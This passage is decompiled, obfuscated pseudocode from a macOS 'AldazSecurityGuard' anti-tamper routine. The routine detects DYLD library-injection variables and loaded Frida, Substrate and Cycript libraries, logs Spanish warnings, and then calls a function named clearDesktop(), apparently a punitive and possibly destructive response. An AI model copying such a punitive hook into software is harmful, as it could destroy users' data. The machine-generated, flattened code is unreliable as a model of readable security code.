goto LABEL_518;
case 614190012:
*v119 = -1557823312;
break;
}
}
if ( v82 > 561884220 )
break;
if ( v82 == 523676521 )
{
v5 = 0;
v3 = 595251114;
v6 = -651817724;
goto LABEL_518;
}
if ( v82 == 550093296 )
{
objc_release(v97);
*v119 = -932469085;
}
}
if ( v82 != 595251114 )
break;
*v119 = -651817724;
}
}
while ( v82 != 561884221 );
v45 = v118;
v46 = v94;
objc_release(v93);
objc_release(v46);
objc_release(obj);
return v45;
}
// 100264FA6: using guessed type char byte_100264FA6;
// 100264FA7: using guessed type char byte_100264FA7;
// 100264FA8: using guessed type char byte_100264FA8;
// 100264FA9: using guessed type char byte_100264FA9;
// 100264FAA: using guessed type char byte_100264FAA;
// 100264FAB: using guessed type char byte_100264FAB;
// 100265074: using guessed type char byte_100265074;
// 10026508F: using guessed type char byte_10026508F;
// 100265090: using guessed type char byte_100265090;
// 100265091: using guessed type char byte_100265091;
// 100265092: using guessed type char byte_100265092;
// 100265093: using guessed type char byte_100265093;
// 100265094: using guessed type char byte_100265094;
// 1002650F0: using guessed type __CFString cfstr_Kh;
// 100265130: using guessed type __CFString stru_100265130;
// 100265170: using guessed type __CFString stru_100265170;
// 1002651B0: using guessed type __CFString stru_1002651B0;
// 100265230: using guessed type __CFString stru_100265230;
// 100265270: using guessed type __CFString stru_100265270;
// 1002652B0: using guessed type __CFString stru_1002652B0;
// 1002652F0: using guessed type __CFString stru_1002652F0;
// 100265330: using guessed type __CFString cfstr_V_0;
// 10029F298: using guessed type int dword_10029F298;
//----- (00000001000313E8) ----------------------------------------------------
void __cdecl +[AldazSecurityGuard checkDYLDHijacking](id a1, SEL a2)
{
char v2; // cf
int v3; // eax
int v4; // ecx
int v5; // eax
bool v6; // zf
int v7; // ecx
id v8; // rax
id v9; // rax
char v10; // cf
int v11; // ecx
id v12; // rax
id v13; // r12
id v14; // rax
id v15; // r13
id v16; // rax
char *v17; // rax
id v18; // rax
id v19; // r12
id v20; // rax
id v21; // r13
const char *v22; // [rsp+8h] [rbp-98h]
const char *v23; // [rsp+10h] [rbp-90h]
const char *v24; // [rsp+18h] [rbp-88h]
id v25; // [rsp+20h] [rbp-80h]
__int64 v26; // [rsp+28h] [rbp-78h]
__int64 v27; // [rsp+30h] [rbp-70h]
int v28; // [rsp+40h] [rbp-60h]
int v29; // [rsp+44h] [rbp-5Ch] BYREF
char *v30; // [rsp+48h] [rbp-58h]
__int64 v31; // [rsp+50h] [rbp-50h]
SEL v32; // [rsp+58h] [rbp-48h]
id v33; // [rsp+60h] [rbp-40h]
bool v34; // [rsp+6Ah] [rbp-36h]
bool v35; // [rsp+6Bh] [rbp-35h]
char v36; // [rsp+6Ch] [rbp-34h]
bool v37; // [rsp+6Dh] [rbp-33h]
bool v38; // [rsp+6Eh] [rbp-32h]
char v39; // [rsp+6Fh] [rbp-31h]
int *v40; // [rsp+70h] [rbp-30h]
v29 = -1261902778;
v40 = &v29;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v29 > 57007405 )
{
if ( v29 > 1261588930 )
{
if ( v29 <= 1746010386 )
{
if ( v29 > 1492991923 )
{
if ( v29 > 1534594172 )
{
if ( v29 == 1534594173 )
{
v10 = 1;
v3 = -906479965;
v11 = -1031434955;
goto LABEL_176;
}
if ( v29 == 1620904769 )
{
byte_100265379 = v39 ^ 0x67;
strcpy(&byte_10026537A, "_LIBRARIES");
*v40 = 751570249;
}
}
else if ( v29 == 1492991924 )
{
*v40 = -481956952;
}
else if ( v29 == 1495709872 )
{
*v40 = -2104010606;
}
}
else if ( v29 > 1344304240 )
{
if ( v29 == 1344304241 )
{
v10 = 1;
v3 = 2015897344;
v11 = 2011048103;
goto LABEL_176;
}
if ( v29 == 1371900983 )
{
v10 = 1;
v3 = 33430343;
v11 = 95413132;
goto LABEL_176;
}
}
else if ( v29 == 1261588931 )
{
strcpy(asc_1002654B0, "DYLD variable detectada: %@=%@");
asc_100264CC8[0] = 87;
asc_100264CC8[1] = 65;
asc_100264CC8[2] = 82;
asc_100264CC8[3] = 78;
asc_100264CC8[4] = 73;
asc_100264CC8[5] = 78;
asc_100264CC8[6] = 71;
asc_100264CC8[7] = 0;
qmemcpy(&byte_100265470, "DYLD_FRAMEWORK_PA", 17);
*v40 = -2066505169;
}
else if ( v29 == 1276234499 )
{
v8 = objc_msgSend(&OBJC_CLASS___NSString, v32, v24);
v9 = objc_retainAutoreleasedReturnValue(v8);
v10 = 1;
v33 = v9;
v25 = &OBJC_CLASS___NSString;
v3 = -235424874;
v11 = -592955605;
goto LABEL_176;
}
}
else if ( v29 <= 1929771809 )
{
if ( v29 > 1780985319 )
{
if ( v29 == 1780985320 )
{
*v40 = -1873250178;
}
else if ( v29 == 1923446891 )
{
*v40 = -225584979;
}
}
else
{
if ( v29 == 1746010387 )
{
v2 = 0;
v3 = -1873250178;
v4 = 1780985320;
goto LABEL_161;
}
if ( v29 == 1768050817 )
*v40 = 38406924;
}
}
else if ( v29 <= 2015897343 )
{
if ( v29 == 1929771810 )
{
v10 = 0;
v3 = 424839608;
v11 = -746105504;
LABEL_176:
if ( !v10 )
v3 = v11;
goto LABEL_178;
}
if ( v29 == 2011048103 )
*v40 = 2015897344;
}
else
{
switch ( v29 )
{
case 2015897344:
v6 = 0;
v3 = 2015897344;
v7 = 2120715051;
goto LABEL_169;
case 2036866967:
*v40 = 795173364;
break;
case 2120715051:
v5 = -1515697556;
if ( v38 )
v5 = -1577964681;
*v40 = v5;
v27 = v26;
break;
}
}
}
else if ( v29 <= 504157483 )
{
if ( v29 > 343485789 )
{
if ( v29 > 422152015 )
{
if ( v29 == 422152016 )
{
v6 = !v37;
v3 = -1648587324;
goto LABEL_168;
}
if ( v29 == 424839608 )
*v40 = -746105504;
}
else
{
if ( v29 == 343485790 )
{
v18 = HikariFunctionWrapper_2731(v25, v32);
v19 = objc_retainAutoreleasedReturnValue(v18);
v20 = HikariFunctionWrapper_2733(&OBJC_CLASS___NSString, v22);
v21 = objc_retainAutoreleasedReturnValue(v20);
HikariFunctionWrapper_2735();
objc_msgSend(a1, v23, v21, CFSTR("\x9B\xB6BD\xA4\xDF\x3A{"));
objc_release(v21);
objc_release(v19);
objc_release(v33);
v2 = 1;
v3 = -2058419012;
v4 = 586064189;
LABEL_161:
if ( v2 )
v3 = v4;
goto LABEL_178;
}
if ( v29 == 382876031 )
*v40 = 802089310;
}
}
else if ( v29 > 274079722 )
{
if ( v29 == 274079723 )
{
*v40 = 981035396;
}
else if ( v29 == 320833969 )
{
dword_10029F29C = 1;
*v40 = 1746010387;
}
}
else if ( v29 == 57007406 )
{
*v40 = -959633106;
}
else if ( v29 == 95413132 )
{
*v40 = 33430343;
}
}
else if ( v29 <= 770504116 )
{
if ( v29 > 643241282 )
{
if ( v29 == 643241283 )
{
*v40 = 1929771810;
}
else if ( v29 == 751570249 )
{
byte_100265379 = v39 - 2 * (v39 & 0x67) + 103;
strcpy(&byte_10026537A, "_LIBRARIES");
v10 = 1;
v3 = -12630989;
v11 = 1620904769;
goto LABEL_176;
}
}
else if ( v29 == 504157484 )
{
v6 = !v35;
v3 = -1639589590;
LABEL_168:
v7 = 1929771810;
LABEL_169:
if ( !v6 )
v3 = v7;
LABEL_178:
*v40 = v3;
}
else if ( v29 == 586064189 )
{
*v40 = 1371900983;
}
}
else if ( v29 <= 802089309 )
{
if ( v29 == 770504117 )
{
*v40 = -1321658223;
}
else if ( v29 == 795173364 )
{
v2 = 0;
v22 = "stringWithFormat:";
v23 = "logSecurityEvent:severity:";
v3 = -86069019;
v4 = 795173364;
goto LABEL_161;
}
}
else
{
switch ( v29 )
{
case 802089310:
v2 = 1;
v36 = *v30;
v3 = 382876031;
v4 = 1768050817;
goto LABEL_161;
case 981035396:
v10 = 0;
v3 = 2036866967;
v11 = 795173364;
goto LABEL_176;
case 1075323035:
HikariFunctionWrapper_2737(off_10025B0E0[v31]);
*v40 = -255584682;
break;
}
}
}
if ( v29 <= -906479966 )
break;
if ( v29 <= -225584980 )
{
if ( v29 > -592955606 )
{
if ( v29 > -255584683 )
{
if ( v29 == -255584682 )
{
v24 = off_10025B0E0[v31];
v17 = getenv(v24);
v35 = v17 == 0;
v6 = 0;
v30 = v17;
v3 = -255584682;
v7 = 504157484;
goto LABEL_169;
}
if ( v29 == -235424874 )
*v40 = -68723339;
}
else if ( v29 == -592955605 )
{
v16 = objc_msgSend(&OBJC_CLASS___NSString, v32, v24);
objc_retainAutoreleasedReturnValue(v16);
*v40 = 1276234499;
}
else if ( v29 == -481956952 )
{
v6 = 0;
v28 = dword_10029F29C;
v3 = 1492991924;
v7 = -191463296;
goto LABEL_169;
}
}
else if ( v29 > -746105505 )
{
if ( v29 == -746105504 )
{
v10 = 1;
v26 = (v31 & 1) + (v31 | 1);
v3 = -171143214;
v11 = 424839608;
goto LABEL_176;
}
if ( v29 == -596082124 )
*v40 = -1936302790;
}
else
{
if ( v29 == -906479965 )
{
v38 = v26 == 5;
v10 = 1;
v3 = -798891638;
v11 = -906479965;
goto LABEL_176;
}
if ( v29 == -798891638 )
*v40 = 1344304241;
}
}
else if ( v29 <= -86069020 )
{
if ( v29 > -171143215 )
{
if ( v29 == -171143214 )
{
*v40 = 1534594173;
}
else if ( v29 == -124125988 )
{
*v40 = 770504117;
}
}
else
{
if ( v29 == -225584979 )
{
v6 = 0;
v3 = 1495709872;
v7 = -2104010606;
goto LABEL_169;
}
if ( v29 == -191463296 )
*v40 = -1476345072;
}
}
else if ( v29 <= -12630990 )
{
if ( v29 == -86069019 )
{
*v40 = -1515697556;
v27 = 0;
}
else if ( v29 == -68723339 )
{
v6 = 0;
v3 = -2058419012;
v7 = 343485790;
goto LABEL_169;
}
}
else
{
switch ( v29 )
{
case -12630989:
*v40 = 320833969;
break;
case 33430343:
v3 = 643241283;
goto LABEL_178;
case 38406924:
v2 = 1;
v3 = -596082124;
v4 = -1936302790;
goto LABEL_161;
}
}
}
if ( v29 > -1639589591 )
break;
if ( v29 > -1874044568 )
{
if ( v29 > -1858521633 )
{
if ( v29 == -1858521632 )
{
v3 = -2066505169;
goto LABEL_178;
}
if ( v29 == -1648587324 )
{
v2 = 1;
v3 = -592955605;
v4 = 1276234499;
goto LABEL_161;
}
}
else
{
if ( v29 == -1874044567 )
{
v6 = 0;
v3 = 1620904769;
v7 = 751570249;
goto LABEL_169;
}
if ( v29 == -1873250178 )
{
v32 = "stringWithUTF8String:";
v3 = 274079723;
goto LABEL_178;
}
}
}
else if ( v29 > -2058419013 )
{
if ( v29 == -2058419012 )
{
v12 = objc_msgSend(v25, v32, v30);
v13 = objc_retainAutoreleasedReturnValue(v12);
v14 = objc_msgSend(
&OBJC_CLASS___NSString,
v22,
CFSTR("f\x00ʺ\xA0\xD2\x08\xD4\xC1\x9Dx-\x14ߡ\x02\x84\xF6\x20\xB7\xF3\xC7\x39ٴ$\x92\x0E\xAFy\x80"),
v33,
v13);
v15 = objc_retainAutoreleasedReturnValue(v14);
clearDesktop();
objc_msgSend(a1, v23, v15, CFSTR("\x9B\xB6BD\xA4\xDF\x3A{"));
objc_release(v15);
objc_release(v13);
objc_release(v33);
*v40 = 343485790;
}
else if ( v29 == -1936302790 )
{
v37 = v36 == 0;
v3 = 1923446891;
goto LABEL_178;
}
}
else
{
if ( v29 == -2104010606 )
{
v10 = 1;
v3 = 422152016;
v11 = -2104010606;
goto LABEL_176;
}
if ( v29 == -2066505169 )
{
strcpy(asc_1002654B0, "DYLD variable detectada: %@=%@");
asc_100264CC8[0] = 87;
asc_100264CC8[1] = 65;
asc_100264CC8[2] = 82;
asc_100264CC8[3] = 78;
asc_100264CC8[4] = 73;
asc_100264CC8[5] = 78;
asc_100264CC8[6] = 71;
asc_100264CC8[7] = 0;
qmemcpy(&byte_100265470, "DYLD_FRAMEWORK_PA", 17);
v6 = 0;
v3 = -2066505169;
v7 = 57007406;
goto LABEL_169;
}
}
}
if ( v29 <= -1321658224 )
break;
if ( v29 > -1031434956 )
{
if ( v29 == -1031434955 )
{
*v40 = -906479965;
}
else if ( v29 == -959633106 )
{
byte_100265481 = 84;
byte_100265482 = 72;
byte_100265483 = 0;
strcpy(&byte_1002653F0, "DYLD_PRINT_TO_FILE");
strcpy(&byte_1002653B0, "DYLD_LIBRARY_PATH");
strcpy(&byte_100265430, "DYLD_INSERT_LIBRARIES");
byte_100265370 = 68;
byte_100265371 = 89;
byte_100265372 = 76;
byte_100265373 = 68;
byte_100265374 = 95;
byte_100265375 = 80;
byte_100265376 = 82;
byte_100265377 = 73;
byte_100265378 = 78;
v39 = 51;
*v40 = -1874044567;
}
}
else
{
if ( v29 == -1321658223 )
{
v6 = !v34;
v3 = 320833969;
v7 = -1858521632;
goto LABEL_169;
}
if ( v29 == -1261902778 )
{
v2 = 1;
v3 = 1492991924;
v4 = -481956952;
goto LABEL_161;
}
}
}
if ( v29 <= -1476345073 )
break;
if ( v29 == -1476345072 )
{
v34 = v28 == 0;
*v40 = -1324546288;
}
else if ( v29 == -1324546288 )
{
v6 = 0;
v3 = -124125988;
v7 = 770504117;
goto LABEL_169;
}
}
if ( v29 == -1639589590 )
{
v6 = 0;
v3 = 382876031;
v7 = 802089310;
goto LABEL_169;
}
if ( v29 == -1515697556 )
{
v31 = v27;
v2 = 0;
v3 = -255584682;
v4 = 1075323035;
goto LABEL_161;
}
}
while ( v29 != -1577964681 );
}
// 10003159D: variable 'v26' is possibly undefined
// 1000315DD: variable 'v27' is possibly undefined
// 100031B38: variable 'v24' is possibly undefined
// 100032801: variable 'v28' is possibly undefined
// 1000328DE: variable 'v25' is possibly undefined
// 10003290A: variable 'v22' is possibly undefined
// 100032931: variable 'v23' is possibly undefined
// 10025B0E0: using guessed type char *off_10025B0E0[5];
// 100265370: using guessed type char byte_100265370;
// 100265371: using guessed type char byte_100265371;
// 100265372: using guessed type char byte_100265372;
// 100265373: using guessed type char byte_100265373;
// 100265374: using guessed type char byte_100265374;
// 100265375: using guessed type char byte_100265375;
// 100265376: using guessed type char byte_100265376;
// 100265377: using guessed type char byte_100265377;
// 100265378: using guessed type char byte_100265378;
// 100265379: using guessed type char byte_100265379;
// 10026537A: using guessed type char byte_10026537A;
// 1002653B0: using guessed type char byte_1002653B0;
// 1002653F0: using guessed type char byte_1002653F0;
// 100265430: using guessed type char byte_100265430;
// 100265470: using guessed type char byte_100265470;
// 100265481: using guessed type char byte_100265481;
// 100265482: using guessed type char byte_100265482;
// 100265483: using guessed type char byte_100265483;
// 1002654F0: using guessed type __CFString stru_1002654F0;
// 100265530: using guessed type __CFString stru_100265530;
// 10029F29C: using guessed type int dword_10029F29C;
//----- (0000000100033269) ----------------------------------------------------
void __cdecl +[AldazSecurityGuard checkLoadedLibraries](id a1, SEL a2)
{
bool v2; // zf
int v3; // eax
int v4; // ecx
bool v5; // zf
int v6; // ecx
char v7; // cf
int v8; // ecx
int v9; // eax
id v10; // rax
id v11; // rax
id v12; // rax
char v13; // cf
int v14; // ecx
id v15; // rax
id v16; // rax
id v17; // rax
id v18; // r13
uint32_t v19; // eax
id v20; // rax
id v21; // rax
id v22; // rax
id v23; // rax
id v24; // r13
const char *v25; // [rsp+8h] [rbp-B8h]
void *v26; // [rsp+18h] [rbp-A8h]
const char *v27; // [rsp+20h] [rbp-A0h]
const char *v28; // [rsp+28h] [rbp-98h]
id v29; // [rsp+30h] [rbp-90h]
int v30; // [rsp+3Ch] [rbp-84h]
uint32_t v31; // [rsp+40h] [rbp-80h]
int v32; // [rsp+44h] [rbp-7Ch] BYREF
SEL v33; // [rsp+48h] [rbp-78h]
id v34; // [rsp+50h] [rbp-70h]
id v35; // [rsp+58h] [rbp-68h]
id v36; // [rsp+60h] [rbp-60h]
uint32_t v37; // [rsp+6Ch] [rbp-54h]
uint32_t v38; // [rsp+70h] [rbp-50h]
uint32_t image_index; // [rsp+74h] [rbp-4Ch]
SEL v40; // [rsp+78h] [rbp-48h]
id v41; // [rsp+80h] [rbp-40h]
bool v42; // [rsp+8Ah] [rbp-36h]
bool v43; // [rsp+8Bh] [rbp-35h]
bool v44; // [rsp+8Ch] [rbp-34h]
bool v45; // [rsp+8Dh] [rbp-33h]
bool v46; // [rsp+8Eh] [rbp-32h]
bool v47; // [rsp+8Fh] [rbp-31h]
int *v48; // [rsp+90h] [rbp-30h]
v32 = -1856234382;
v48 = &v32;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v32 > 277261655 )
{
if ( v32 > 1180498545 )
{
if ( v32 > 1746488213 )
{
if ( v32 > 1875715296 )
{
if ( v32 <= 2083085081 )
{
switch ( v32 )
{
case 1875715297:
*v48 = 1797340225;
break;
case 1915743342:
objc_release(v41);
v13 = 1;
v3 = 54145150;
v14 = 181872220;
goto LABEL_284;
case 2047171128:
v43 = v37 == 0;
*v48 = 1824394416;
break;
}
}
else if ( v32 > 2093282370 )
{
if ( v32 == 2093282371 )
{
v2 = 0;
v3 = -1511211297;
v4 = -493882726;
LABEL_273:
if ( v2 )
v3 = v4;
goto LABEL_286;
}
if ( v32 == 2114777384 )
*v48 = 2047171128;
}
else if ( v32 == 2083085082 )
{
*v48 = -1564411170;
}
else if ( v32 == 2088135163 )
{
v2 = 0;
v38 = (v31 & 1) + (v31 | 1);
v3 = -1035137522;
v4 = 300523941;
goto LABEL_273;
}
}
else if ( v32 <= 1824394415 )
{
switch ( v32 )
{
case 1746488214:
*v48 = 740513487;
break;
case 1784152645:
*v48 = 885956731;
break;
case 1797340225:
v13 = 1;
v3 = 317251220;
v14 = -1113752938;
goto LABEL_284;
}
}
else if ( v32 > 1837304923 )
{
if ( v32 == 1837304924 )
{
*v48 = 1458033807;
}
else if ( v32 == 1870787484 )
{
v2 = 0;
v3 = 1306252942;
v4 = 1613926256;
goto LABEL_273;
}
}
else
{
if ( v32 == 1824394416 )
{
v5 = !v43;
v3 = 438602654;
v6 = 1229001901;
goto LABEL_277;
}
if ( v32 == 1836136413 )
LABEL_211:
*v48 = -475409791;
}
}
else if ( v32 > 1448499794 )
{
if ( v32 <= 1613926255 )
{
switch ( v32 )
{
case 1448499795:
goto LABEL_180;
case 1458033807:
v5 = 0;
v3 = 1458033807;
v6 = -786509731;
goto LABEL_277;
case 1464455693:
*v48 = -754666471;
break;
}
}
else if ( v32 > 1702154362 )
{
if ( v32 == 1702154363 )
{
v7 = 0;
v3 = 36186696;
v8 = -1695258163;
LABEL_268:
if ( !v7 )
v3 = v8;
LABEL_286:
*v48 = v3;
}
else if ( v32 == 1728608232 )
{
v2 = 0;
v3 = -645904364;
v4 = 598541192;
goto LABEL_273;
}
}
else if ( v32 == 1613926256 )
{
objc_msgSend(v36, v33, CFSTR("\v\xEB\xF9\x2A9Y\xA2d"));
objc_release(v36);
objc_release(v35);
objc_release(v34);
*v48 = 1306252942;
}
else if ( v32 == 1681291963 )
{
*v48 = 896010835;
}
}
else if ( v32 <= 1229010338 )
{
switch ( v32 )
{
case 1180498546:
v15 = HikariFunctionWrapper_2741(v41, v40);
v16 = objc_retainAutoreleasedReturnValue(v15);
v13 = 1;
v35 = v16;
v3 = 1180498546;
v14 = 1299561061;
goto LABEL_284;
case 1223119494:
*v48 = -1094318452;
break;
case 1229001901:
v7 = 0;
v3 = 598541192;
v8 = 1728608232;
goto LABEL_268;
}
}
else if ( v32 > 1306252941 )
{
if ( v32 == 1306252942 )
{
v46 = (unsigned __int8)objc_msgSend(v36, v33, CFSTR("\v\xEB\xF9\x2A9Y\xA2d")) == 0;
objc_release(v36);
objc_release(v35);
objc_release(v34);
v13 = 1;
v3 = 1306252942;
v14 = -1886835194;
goto LABEL_284;
}
if ( v32 == 1409506067 )
{
v5 = !v42;
v3 = -442176079;
v6 = 2093282371;
goto LABEL_277;
}
}
else if ( v32 == 1229010339 )
{
*v48 = 1870787484;
}
else if ( v32 == 1299561061 )
{
*v48 = 743377045;
}
}
else if ( v32 > 699654074 )
{
if ( v32 > 896010834 )
{
if ( v32 <= 1004016488 )
{
switch ( v32 )
{
case 896010835:
v42 = v30 == 0;
v13 = 0;
v3 = -1419010786;
v14 = 896010835;
goto LABEL_284;
case 929548831:
v13 = 1;
dword_10029F2A0 = 1;
v3 = 929548831;
v14 = -243709115;
goto LABEL_284;
case 997273870:
*v48 = -563693235;
break;
}
}
else if ( v32 > 1068182977 )
{
if ( v32 == 1068182978 )
{
*v48 = 727169526;
}
else if ( v32 == 1179159800 )
{
*v48 = -478510894;
}
}
else
{
if ( v32 == 1004016489 )
{
v2 = 0;
v3 = -109033294;
v4 = -1581805859;
goto LABEL_273;
}
if ( v32 == 1065469599 )
{
v5 = 0;
v3 = 189191031;
v6 = 891264228;
goto LABEL_277;
}
}
}
else if ( v32 <= 743377044 )
{
switch ( v32 )
{
case 699654075:
v5 = 0;
v3 = 699654075;
v6 = -55826205;
goto LABEL_277;
case 727169526:
v47 = v38 == v37;
v7 = 1;
v3 = -1372403228;
v8 = 727169526;
goto LABEL_268;
case 740513487:
asc_100265580[7] = 101;
asc_100265580[8] = 99;
*v48 = 278004556;
break;
}
}
else if ( v32 > 885956730 )
{
if ( v32 == 885956731 )
{
v21 = HikariFunctionWrapper_2739(v26, v25);
v41 = objc_retainAutoreleasedReturnValue(v21);
v22 = objc_msgSend(v41, v40);
v34 = objc_retainAutoreleasedReturnValue(v22);
v44 = (unsigned __int8)objc_msgSend(v34, v33, CFSTR("|>\xCE\x50o/")) == 0;
*v48 = 192725830;
}
else if ( v32 == 891264228 )
{
*v48 = 1004016489;
}
}
else if ( v32 == 743377045 )
{
v45 = (unsigned __int8)objc_msgSend(v35, v33, CFSTR("\x9E>\xBA\\\xED\x3A\xF3\xFDFF")) == 0;
*v48 = -834774737;
}
else if ( v32 == 765370295 )
{
v7 = 0;
v3 = -1480631008;
v8 = 334044949;
goto LABEL_268;
}
}
else if ( v32 > 438602653 )
{
if ( v32 <= 625445538 )
{
switch ( v32 )
{
case 438602654:
v13 = 1;
v3 = -3611861;
v14 = 315204612;
goto LABEL_284;
case 502080347:
*v48 = 1875715297;
break;
case 598541192:
*v48 = 1728608232;
break;
}
}
else if ( v32 > 649135409 )
{
if ( v32 == 649135410 )
{
*v48 = -1576603495;
}
else if ( v32 == 658492478 )
{
dword_10029F2A0 = 1;
*v48 = 929548831;
}
}
else
{
if ( v32 == 625445539 )
{
v31 = image_index;
v2 = _dyld_get_image_name(image_index) == 0;
v3 = -305453281;
v4 = 237224885;
goto LABEL_273;
}
if ( v32 == 640780538 )
*v48 = -1958950366;
}
}
else if ( v32 <= 315204611 )
{
switch ( v32 )
{
case 277261656:
v13 = 0;
v3 = 1915743342;
v14 = 54145150;
goto LABEL_284;
case 278004556:
asc_100265580[9] = 97;
asc_100265580[10] = 32;
asc_100265580[11] = 115;
asc_100265580[12] = 111;
asc_100265580[13] = 115;
asc_100265580[14] = 112;
asc_100265580[15] = 101;
asc_100265580[16] = 99;
asc_100265580[17] = 104;
asc_100265580[18] = 111;
asc_100265580[19] = 115;
asc_100265580[20] = 97;
asc_100265580[21] = 32;
asc_100265580[22] = 99;
asc_100265580[23] = 97;
asc_100265580[24] = 114;
asc_100265580[25] = 103;
asc_100265580[26] = 97;
asc_100265580[27] = 100;
asc_100265580[28] = 97;
asc_100265580[29] = 58;
asc_100265580[30] = 32;
asc_100265580[31] = 37;
asc_100265580[32] = 64;
asc_100265580[33] = 0;
asc_100264CC8[0] = 87;
asc_100264CC8[1] = 65;
asc_100264CC8[2] = 82;
asc_100264CC8[3] = 78;
asc_100264CC8[4] = 73;
asc_100264CC8[5] = 78;
asc_100264CC8[6] = 71;
asc_100264CC8[7] = 0;
*v48 = -442176079;
break;
case 300523941:
*v48 = 2088135163;
break;
}
}
else if ( v32 > 334044948 )
{
if ( v32 == 334044949 )
{
*v48 = 1409506067;
}
else if ( v32 == 395925427 )
{
LABEL_180:
*v48 = -1697623330;
}
}
else
{
if ( v32 == 315204612 )
{
v2 = 0;
v25 = "stringWithUTF8String:";
v40 = "lowercaseString";
v3 = 997273870;
v4 = 315204612;
goto LABEL_273;
}
if ( v32 == 317251220 )
{
objc_release(v34);
*v48 = -1113752938;
}
}
}
if ( v32 > -934190666 )
break;
if ( v32 > -1511211298 )
{
if ( v32 > -1113752939 )
{
if ( v32 <= -1080726753 )
{
switch ( v32 )
{
case -1113752938:
objc_release(v34);
v13 = 1;
v3 = -1113752938;
v14 = -1252232112;
goto LABEL_284;
case -1094318452:
*v48 = 277261656;
break;
case -1086982965:
v12 = HikariFunctionWrapper_2747(v41, v40);
objc_retainAutoreleasedReturnValue(v12);
*v48 = 1180498546;
break;
}
}
else if ( v32 > -1035137523 )
{
if ( v32 == -1035137522 )
{
*v48 = -934190665;
}
else if ( v32 == -1026440345 )
{
v5 = !v45;
v3 = -1608367087;
v6 = -666068028;
goto LABEL_277;
}
}
else
{
if ( v32 == -1080726752 )
{
v5 = 0;
v3 = -1086982965;
v6 = 1180498546;
goto LABEL_277;
}
if ( v32 == -1045195119 )
LABEL_212:
*v48 = 699654075;
}
}
else if ( v32 <= -1419010787 )
{
switch ( v32 )
{
case -1511211297:
asc_100264E50[0] = 102;
asc_100264E50[1] = 114;
asc_100264E50[2] = 105;
asc_100264E50[3] = 100;
asc_100264E50[4] = 97;
asc_100264E50[5] = 0;
strcpy(asc_100264E40, "substrate");
asc_100264E2E[0] = 99;
asc_100264E2E[1] = 121;
asc_100264E2E[2] = 99;
asc_100264E2E[3] = 114;
asc_100264E2E[4] = 105;
asc_100264E2E[5] = 112;
asc_100264E2E[6] = 116;
asc_100264E2E[7] = 0;
asc_100265580[0] = 66;
asc_100265580[1] = 105;
asc_100265580[2] = 98;
asc_100265580[3] = 108;
asc_100265580[4] = 105;
asc_100265580[5] = 111;
v7 = 0;
asc_100265580[6] = 116;
v3 = -1511211297;
v8 = 1746488214;
goto LABEL_268;
case -1480631008:
*v48 = 334044949;
break;
case -1476260869:
*v48 = 625445539;
image_index = 0;
break;
}
}
else if ( v32 > -1352130964 )
{
if ( v32 == -1352130963 )
{
v20 = objc_msgSend(v41, v40);
objc_retainAutoreleasedReturnValue(v20);
*v48 = -2056250525;
}
else if ( v32 == -1252232112 )
{
*v48 = -1541516479;
}
}
else if ( v32 == -1419010786 )
{
*v48 = 765370295;
}
else if ( v32 == -1372403228 )
{
*v48 = 215584268;
}
}
else if ( v32 > -1697623331 )
{
if ( v32 <= -1581805860 )
{
switch ( v32 )
{
case -1697623330:
v5 = 0;
v3 = 1448499795;
v6 = -2095639861;
goto LABEL_277;
case -1695258163:
v17 = HikariFunctionWrapper_2745(v29, v27);
v18 = objc_retainAutoreleasedReturnValue(v17);
objc_msgSend(a1, v28, v18, CFSTR("\x9B\xB6BD\xA4\xDF\x3A{"));
objc_release(v18);
v13 = 1;
v3 = -1695258163;
v14 = 1223119494;
goto LABEL_284;
case -1608367087:
objc_release(v35);
*v48 = -1916011118;
break;
}
}
else if ( v32 > -1564411171 )
{
if ( v32 == -1564411170 )
{
v5 = 0;
v3 = 2114777384;
v6 = 2047171128;
goto LABEL_277;
}
if ( v32 == -1541516479 )
{
v13 = 1;
v3 = 189191031;
v14 = 1065469599;
goto LABEL_284;
}
}
else if ( v32 == -1581805859 )
{
clearDesktop();
*v48 = -109033294;
}
else if ( v32 == -1576603495 )
{
*v48 = 896010835;
}
}
else if ( v32 <= -1958950367 )
{
switch ( v32 )
{
case -2095639861:
v5 = !v46;
v3 = 1004016489;
v6 = 277261656;
goto LABEL_277;
case -2080827396:
goto LABEL_211;
case -2056250525:
v10 = objc_msgSend(v41, v40);
v11 = objc_retainAutoreleasedReturnValue(v10);
v5 = 0;
v36 = v11;
v3 = -1352130963;
v6 = 1229010339;
goto LABEL_277;
}
}
else if ( v32 > -1886835195 )
{
if ( v32 == -1886835194 )
{
*v48 = 395925427;
}
else if ( v32 == -1856234382 )
{
v13 = 0;
v3 = -1958950366;
v14 = 640780538;
goto LABEL_284;
}
}
else
{
if ( v32 == -1958950366 )
{
v7 = 0;
v30 = dword_10029F2A0;
v3 = 640780538;
v8 = 649135410;
goto LABEL_268;
}
if ( v32 == -1916011118 )
{
v5 = 0;
v3 = 222363078;
v6 = 502080347;
goto LABEL_277;
}
}
}
if ( v32 <= -305453282 )
break;
if ( v32 > 181872219 )
{
if ( v32 <= 215584267 )
{
switch ( v32 )
{
case 181872220:
*v48 = -1045195119;
break;
case 189191031:
*v48 = 1065469599;
break;
case 192725830:
v5 = !v44;
v3 = 1797340225;
v6 = -1080726752;
goto LABEL_277;
}
}
else if ( v32 > 237224884 )
{
if ( v32 == 237224885 )
{
v13 = 1;
v3 = 300523941;
v14 = 2088135163;
LABEL_284:
if ( v13 )
v3 = v14;
goto LABEL_286;
}
if ( v32 == 261570043 )
{
_dyld_image_count();
*v48 = -881678342;
}
}
else
{
if ( v32 == 215584268 )
{
v13 = 1;
v3 = 1837304924;
v14 = 1458033807;
goto LABEL_284;
}
if ( v32 == 222363078 )
*v48 = 502080347;
}
}
else if ( v32 <= -55826206 )
{
switch ( v32 )
{
case -305453281:
v2 = 0;
v3 = -754666471;
v4 = 1464455693;
goto LABEL_273;
case -243709115:
*v48 = -371705602;
break;
case -109033294:
HikariFunctionWrapper_2743();
v5 = 0;
v29 = &OBJC_CLASS___NSString;
v3 = -1581805859;
v6 = -434898122;
goto LABEL_277;
}
}
else if ( v32 > 36186695 )
{
if ( v32 == 36186696 )
{
v23 = objc_msgSend(
v29,
v27,
CFSTR("\a\xF9\x7F7\xCF\xECIu\xFF\xEB\x04\x08\x90+ޱ\x19\x95\x052Y\xF6\xC8\x1F\x02\x8FiNi\x85uTP"),
v41);
